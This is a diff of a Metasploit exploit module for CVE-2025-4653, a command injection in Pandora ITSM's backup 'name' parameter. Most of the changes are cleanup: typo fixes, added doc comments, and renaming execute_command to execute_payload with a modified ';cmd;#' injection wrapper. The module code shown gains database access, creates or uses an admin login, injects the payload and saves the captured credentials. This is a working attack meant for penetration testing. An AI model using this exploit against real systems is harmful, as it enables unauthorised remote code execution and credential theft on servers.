@@ -25,10 +25,10 @@ def initialize(info = {})
25
25
'Description' => %q{
26
26
Pandora ITSM is a platform for Service Management & Support including a Helpdesk for support
27
27
and customer service teams, aligned with ITIL processes.
28
- This module exploits an command injection vulnerability in the `name` backup setting at the
28
+ This module exploits a command injection vulnerability in the `name` backup setting at the
29
29
application setup page of Pandora ITSM. This can be triggered by generating a backup with a
30
- malcious payload injected at the `name` parameter.
31
- You need have admin access at the Pandora ITSM Web application in order to execute this RCE.
30
+ malicious payload injected at the `name` parameter.
31
+ You need to have admin access at the Pandora ITSM Web application in order to execute this RCE.
32
32
This access can be achieved by knowing the admin credentials to access the web application or
33
33
leveraging a default password vulnerability in Pandora ITSM that allows an attacker to access
34
34
the Pandora FMS ITSM database, create a new admin user and gain administrative access to the
@@ -91,15 +91,20 @@ def initialize(info = {})
91
91
end
92
92
93
93
# MySQL login
94
- # returns true if successful else false
94
+ # @param [String] host
95
+ # @param [String] user
96
+ # @param [String] password
97
+ # @param [String] db
98
+ # @param [String] port
99
+ # @return [TrueClass|FalseClass] true if login successful, else false
95
100
def mysql_login ( host , user , password , db , port )
96
101
begin
97
102
self . mysql_client = ::Rex ::Proto ::MySQL ::Client . connect ( host , user , password , db , port )
98
103
rescue Errno ::ECONNREFUSED
99
- print_error ( 'Connection refused' )
104
+ print_error ( 'MySQL connection refused' )
100
105
return false
101
106
rescue ::Rex ::Proto ::MySQL ::Client ::ClientError
102
- print_error ( 'Connection timedout' )
107
+ print_error ( 'MySQL connection timedout' )
103
108
return false
104
109
rescue Errno ::ETIMEDOUT
105
110
print_error ( 'Operation timedout' )
@@ -108,7 +113,7 @@ def mysql_login(host, user, password, db, port)
108
113
print_error ( 'Unable to login from this host due to policy' )
109
114
return false
110
115
rescue ::Rex ::Proto ::MySQL ::Client ::AccessDeniedError
111
- print_error ( 'Access denied' )
116
+ print_error ( 'MySQL Access denied' )
112
117
return false
113
118
rescue StandardError => e
114
119
print_error ( "Unknown error: #{ e . message } " )
@@ -118,7 +123,8 @@ def mysql_login(host, user, password, db, port)
118
123
end
119
124
120
125
# MySQL query
121
- # returns query result if successful (can be nil) else returns false
126
+ # @param [String] sql
127
+ # @return [query|nil|FalseClass] if sql query successful (can be nil), else false
122
128
def mysql_query ( sql )
123
129
begin
124
130
res = mysql_client . query ( sql )
@@ -136,7 +142,9 @@ def mysql_query(sql)
136
142
end
137
143
138
144
# login at the Pandora ITSM web application
139
- # return true if login successful else false
145
+ # @param [String] name
146
+ # @param [String] pwd
147
+ # @return [TrueClass|FalseClass] true if login successful, else false
140
148
def pandoraitsm_login ( name , pwd )
141
149
res = send_request_cgi! ( {
142
150
'method' => 'POST' ,
@@ -155,8 +163,8 @@ def pandoraitsm_login(name, pwd)
155
163
end
156
164
157
165
# CVE-2025-4653: Command Injection leading to RCE via the backup "name" parameter triggered by the backup function
158
- def execute_command ( cmd , _opts = { } )
159
- @rce_payload = ";#{ cmd } ;"
166
+ def execute_payload ( cmd )
167
+ @rce_payload = ";#{ cmd } ;# "
160
168
vprint_status ( "RCE payload: #{ @rce_payload } " )
161
169
@clean_payload = true
162
170
send_request_cgi ( {
@@ -232,7 +240,7 @@ def clean_rce_payload(payload)
232
240
success = false unless res &.code == 200 && !res . body . include? ( id_bk_param . to_s )
233
241
end
234
242
if success
235
- print_good ( 'Payload entries successful removed from backup list.' )
243
+ print_good ( 'Payload entries successfully removed from backup list.' )
236
244
else
237
245
print_warning ( 'Payload entries might not be removed from backup list. Check and try to clean it manually.' )
238
246
end
@@ -319,13 +327,13 @@ def exploit
319
327
print_status ( "Trying to log in with new admin credentials #{ username } :#{ password } at the Pandora ITSM Web application." )
320
328
fail_with ( Failure ::NoAccess , 'Failed to authenticate at the Pandora ITSM Web application.' ) unless pandoraitsm_login ( username , password )
321
329
end
322
- print_status ( 'Succesfully authenticated at the Pandora ITSM Web application.' )
330
+ print_status ( 'Successfully authenticated at the Pandora ITSM Web application.' )
323
331
324
332
# storing credentials at the msf database
325
- print_status ( 'Saving admin credentials at the msf database.' )
333
+ print_status ( 'Saving admin credentials to the msf database.' )
326
334
store_valid_credential ( user : username , private : password )
327
335
328
336
print_status ( "Executing #{ target . name } for #{ datastore [ 'PAYLOAD' ] } " )
329
- execute_command ( payload . encoded )
337
+ execute_payload ( payload . encoded )
330
338
end
331
339
end
0 commit comments